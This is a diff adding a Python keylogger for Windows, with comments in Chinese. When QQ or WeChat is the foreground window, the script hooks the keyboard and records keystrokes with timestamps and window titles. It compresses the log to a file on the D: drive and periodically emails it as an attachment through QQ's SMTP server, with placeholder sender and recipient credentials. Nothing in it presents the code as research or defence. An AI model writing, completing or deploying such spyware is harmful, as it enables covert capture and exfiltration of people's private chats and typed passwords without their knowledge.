|
| 1 | +import os |
| 2 | +import struct |
| 3 | +import zlib |
| 4 | +import time |
| 5 | +import keyboard |
| 6 | +import threading |
| 7 | +import psutil |
| 8 | +import win32gui |
| 9 | +import win32process |
| 10 | +import smtplib |
| 11 | +from email.mime.multipart import MIMEMultipart |
| 12 | +from email.mime.base import MIMEBase |
| 13 | +from email import encoders |
| 14 | +from datetime import datetime |
| 15 | + |
| 16 | +# 发件人和收件人信息 |
| 17 | +from_addr = "your_email@example.com" |
| 18 | +to_addr = "recipient_email@example.com" |
| 19 | +password = "your_email_password_or_smtp_token" |
| 20 | +compressed_file = "D:\\key_data.bin" |
| 21 | + |
| 22 | +key_encoding = { |
| 23 | + # 字母键 |
| 24 | + 'a': 0x61, 'b': 0x62, 'c': 0x63, 'd': 0x64, 'e': 0x65, |
| 25 | + 'f': 0x66, 'g': 0x67, 'h': 0x68, 'i': 0x69, 'j': 0x6A, |
| 26 | + 'k': 0x6B, 'l': 0x6C, 'm': 0x6D, 'n': 0x6E, 'o': 0x6F, |
| 27 | + 'p': 0x70, 'q': 0x71, 'r': 0x72, 's': 0x73, 't': 0x74, |
| 28 | + 'u': 0x75, 'v': 0x76, 'w': 0x77, 'x': 0x78, 'y': 0x79, |
| 29 | + 'z': 0x7A, |
| 30 | + |
| 31 | + # 数字键 (统一普通数字键和小键盘数字键) |
| 32 | + '0': 0x30, '1': 0x31, '2': 0x32, '3': 0x33, '4': 0x34, |
| 33 | + '5': 0x35, '6': 0x36, '7': 0x37, '8': 0x38, '9': 0x39, |
| 34 | + |
| 35 | + # 功能键 |
| 36 | + 'F1': 0x70, 'F2': 0x71, 'F3': 0x72, 'F4': 0x73, 'F5': 0x74, |
| 37 | + 'F6': 0x75, 'F7': 0x76, 'F8': 0x77, 'F9': 0x78, 'F10': 0x79, |
| 38 | + 'F11': 0x7A, 'F12': 0x7B, |
| 39 | + |
| 40 | + # 特殊字符键 |
| 41 | + 'space': 0x20, 'enter': 0x0D, 'backspace': 0x08, 'tab': 0x09, |
| 42 | + 'escape': 0x1B, 'ctrl': 0x81, 'shift': 0x82, 'alt': 0x83, |
| 43 | + 'caps_lock': 0x84, 'num_lock': 0x85, 'scroll_lock': 0x86, |
| 44 | + |
| 45 | + # 符号键(含Shift修饰符的键) |
| 46 | + '-': 0x2D, '=': 0x3D, '[': 0x5B, ']': 0x5D, '\\': 0x5C, |
| 47 | + ';': 0x3B, '\'': 0x27, ',': 0x2C, '.': 0x2E, '/': 0x2F, |
| 48 | + |
| 49 | + # 需要Shift键的符号 |
| 50 | + '!': 0x21, '@': 0x40, '#': 0x23, '$': 0x24, '%': 0x25, |
| 51 | + '^': 0x5E, '&': 0x26, '*': 0x2A, '(': 0x28, ')': 0x29, |
| 52 | + '_': 0x5F, '+': 0x2B, '{': 0x7B, '}': 0x7D, ':': 0x3A, |
| 53 | + '"': 0x22, '<': 0x3C, '>': 0x3E, '?': 0x3F, '|': 0x7C, |
| 54 | + '~': 0x7E, '《': 0x300A, '》': 0x300B, '?': 0xFF1F, |
| 55 | + ':': 0xFF1A, '“': 0x201C, '”': 0x201D, '{': 0xFF5B, |
| 56 | + '}': 0xFF5D, '——': 0x2014, '+': 0x2B, '~': 0x7E, |
| 57 | + '!': 0xFF01, '¥': 0xFFE5, '%': 0xFF05, '…': 0x2026, |
| 58 | + '&': 0xFF06, '*': 0xFF0A, '(': 0xFF08, ')': 0xFF09, |
| 59 | + |
| 60 | + # 导航键 |
| 61 | + 'insert': 0x90, 'delete': 0x91, 'home': 0x92, 'end': 0x93, |
| 62 | + 'page_up': 0x94, 'page_down': 0x95, 'arrow_up': 0x96, |
| 63 | + 'arrow_down': 0x97, 'arrow_left': 0x98, 'arrow_right': 0x99, |
| 64 | + |
| 65 | + # 小键盘其他键 |
| 66 | + 'numpad_decimal': 0x6E, 'numpad_add': 0x6B, |
| 67 | + 'numpad_subtract': 0x6D, 'numpad_multiply': 0x6A, 'numpad_divide': 0x6F, |
| 68 | + |
| 69 | + # 其他可能的按键 |
| 70 | + 'print_screen': 0x9A, 'pause': 0x9B, 'menu': 0x9C, 'windows': 0x9D |
| 71 | +} |
| 72 | + |
| 73 | +# 全局变量声明 |
| 74 | +last_key = None |
| 75 | +key_counter = {} |
| 76 | +window_title_dict = {} |
| 77 | +window_title_index = 0 |
| 78 | +recorded_data = [] |
| 79 | +current_window_title = None |
| 80 | + |
| 81 | +def send_email(filepath, subject_date): |
| 82 | + msg = MIMEMultipart() |
| 83 | + msg['From'] = from_addr |
| 84 | + msg['To'] = to_addr |
| 85 | + msg['Subject'] = f"{subject_date}的记录" |
| 86 | + |
| 87 | + filename = os.path.basename(filepath) |
| 88 | + with open(filepath, "rb") as attachment: |
| 89 | + part = MIMEBase('application', 'octet-stream') |
| 90 | + part.set_payload(attachment.read()) |
| 91 | + encoders.encode_base64(part) |
| 92 | + part.add_header('Content-Disposition', f'attachment; filename={filename}') |
| 93 | + msg.attach(part) |
| 94 | + |
| 95 | + try: |
| 96 | + server = smtplib.SMTP_SSL('smtp.qq.com', 465) |
| 97 | + server.login(from_addr, password) |
| 98 | + server.sendmail(from_addr, to_addr, msg.as_string()) |
| 99 | + server.quit() |
| 100 | + print("邮件发送成功!") |
| 101 | + except Exception as e: |
| 102 | + print(f"邮件发送失败: {e}") |
| 103 | + |
| 104 | +def check_time_and_send_email(): |
| 105 | + if not os.path.exists(compressed_file): |
| 106 | + return False |
| 107 | + |
| 108 | + with open(compressed_file, 'rb') as file: |
| 109 | + compressed_data = file.read() |
| 110 | + if not compressed_data: |
| 111 | + return False |
| 112 | + |
| 113 | + raw_data = zlib.decompress(compressed_data) |
| 114 | + if len(raw_data) < 12: |
| 115 | + return False |
| 116 | + |
| 117 | + # 读取最后一列的时间戳 |
| 118 | + first_timestamp = struct.unpack('d', raw_data[-8:])[0] |
| 119 | + print(f"First timestamp: {first_timestamp}") |
| 120 | + current_time = time.time() |
| 121 | + |
| 122 | + if current_time - first_timestamp >= 3600: # 24 hours in seconds |
| 123 | + subject_date = datetime.fromtimestamp(first_timestamp).strftime('%Y/%m/%d') |
| 124 | + send_email(compressed_file, subject_date) |
| 125 | + return True |
| 126 | + return False |
| 127 | + |
| 128 | +def save_compressed_file(): |
| 129 | + global window_title_dict, window_title_index, recorded_data |
| 130 | + |
| 131 | + if not recorded_data: |
| 132 | + print("No data to save") |
| 133 | + return |
| 134 | + |
| 135 | + if check_time_and_send_email(): |
| 136 | + print("24小时内,已发送邮件。覆盖写入新数据...") |
| 137 | + |
| 138 | + raw_data = bytearray() |
| 139 | + for window_title, key_name, count, timestamp in recorded_data: |
| 140 | + if window_title not in window_title_dict: |
| 141 | + window_title_dict[window_title] = window_title_index |
| 142 | + title_index = window_title_index |
| 143 | + window_title_index += 1 |
| 144 | + title_encoded = True |
| 145 | + else: |
| 146 | + title_index = window_title_dict[window_title] |
| 147 | + title_encoded = False |
| 148 | + |
| 149 | + try: |
| 150 | + key_code = key_encoding[key_name] |
| 151 | + except KeyError: |
| 152 | + continue |
| 153 | + |
| 154 | + raw_data.append(title_index) |
| 155 | + if title_encoded: |
| 156 | + title_bytes = window_title.encode('utf-8') |
| 157 | + raw_data.append(len(title_bytes)) |
| 158 | + raw_data.extend(title_bytes) |
| 159 | + |
| 160 | + raw_data.append(key_code) |
| 161 | + raw_data.append(count) |
| 162 | + raw_data.extend(struct.pack('d', timestamp)) |
| 163 | + |
| 164 | + if raw_data: |
| 165 | + compressed_data = zlib.compress(raw_data) |
| 166 | + with open(compressed_file, 'wb') as file: |
| 167 | + file.write(compressed_data) |
| 168 | + print(f"Data saved successfully to {compressed_file} with window title '{current_window_title}'") |
| 169 | + |
| 170 | + recorded_data.clear() |
| 171 | + |
| 172 | +def record_last_key(): |
| 173 | + global last_key, key_counter, current_window_title |
| 174 | + if last_key and last_key in key_counter: |
| 175 | + recorded_data.append((current_window_title, last_key, key_counter[last_key]["count"], key_counter[last_key]["timestamp"])) |
| 176 | + last_key = None |
| 177 | + |
| 178 | +def on_key_event(e): |
| 179 | + global last_key, last_timer, current_window_title |
| 180 | + if e.event_type == "down": |
| 181 | + key_name = e.name |
| 182 | + timestamp = round(time.time(), 2) |
| 183 | + |
| 184 | + if key_name == last_key: |
| 185 | + key_counter[key_name]["count"] += 1 |
| 186 | + else: |
| 187 | + if last_key and last_key in key_counter: |
| 188 | + record_last_key() |
| 189 | + key_counter[key_name] = {"count": 1, "timestamp": timestamp} |
| 190 | + last_key = key_name |
| 191 | + |
| 192 | +def get_qq_and_wechat_pids(): |
| 193 | + qq_pids = [] |
| 194 | + wechat_pids = [] |
| 195 | + for proc in psutil.process_iter(['pid', 'name']): |
| 196 | + if 'QQ' in proc.info['name']: |
| 197 | + qq_pids.append(proc.info['pid']) |
| 198 | + if 'WeChat' in proc.info['name']: |
| 199 | + wechat_pids.append(proc.info['pid']) |
| 200 | + return qq_pids, wechat_pids |
| 201 | + |
| 202 | +def get_foreground_window_info(): |
| 203 | + hwnd = win32gui.GetForegroundWindow() |
| 204 | + _, pid = win32process.GetWindowThreadProcessId(hwnd) |
| 205 | + title = win32gui.GetWindowText(hwnd) |
| 206 | + return pid, title |
| 207 | + |
| 208 | +def is_app_active(app_pids): |
| 209 | + fg_window_pid, fg_window_title = get_foreground_window_info() |
| 210 | + if fg_window_pid in app_pids: |
| 211 | + return True, fg_window_title |
| 212 | + return False, None |
| 213 | + |
| 214 | +def main(): |
| 215 | + global current_window_title |
| 216 | + last_state = None |
| 217 | + qq_pids, wechat_pids = get_qq_and_wechat_pids() |
| 218 | + |
| 219 | + while True: |
| 220 | + qq_active, qq_window_title = is_app_active(qq_pids) |
| 221 | + wechat_active, wechat_window_title = is_app_active(wechat_pids) |
| 222 | + |
| 223 | + if qq_active: |
| 224 | + if last_state != "QQ": |
| 225 | + if last_state == "WeChat": |
| 226 | + print(f"WeChat has gone to the background. Stopping key logging...") |
| 227 | + keyboard.unhook_all() |
| 228 | + record_last_key() |
| 229 | + save_compressed_file() |
| 230 | + key_counter.clear() |
| 231 | + current_window_title = "QQ" |
| 232 | + print("QQ is active. Starting to log keys...") |
| 233 | + keyboard.hook(on_key_event) |
| 234 | + last_state = "QQ" |
| 235 | + elif wechat_active: |
| 236 | + if last_state != "WeChat": |
| 237 | + if last_state == "QQ": |
| 238 | + print(f"QQ has gone to the background. Stopping key logging...") |
| 239 | + keyboard.unhook_all() |
| 240 | + record_last_key() |
| 241 | + save_compressed_file() |
| 242 | + key_counter.clear() |
| 243 | + current_window_title = "WeChat" |
| 244 | + print("WeChat is active. Starting to log keys...") |
| 245 | + keyboard.hook(on_key_event) |
| 246 | + last_state = "WeChat" |
| 247 | + else: |
| 248 | + if last_state in ["QQ", "WeChat"]: |
| 249 | + print(f"{current_window_title} has gone to the background. Stopping key logging...") |
| 250 | + keyboard.unhook_all() |
| 251 | + record_last_key() # 记录最后一个按键 |
| 252 | + save_compressed_file() # 保存所有数据 |
| 253 | + key_counter.clear() # 清空按键计数器 |
| 254 | + last_state = None |
| 255 | + |
| 256 | + time.sleep(0.5) # 每秒检测一次,可以根据需要调整检测频率 |
| 257 | + |
| 258 | +if __name__ == "__main__": |
| 259 | + main() |
0 commit comments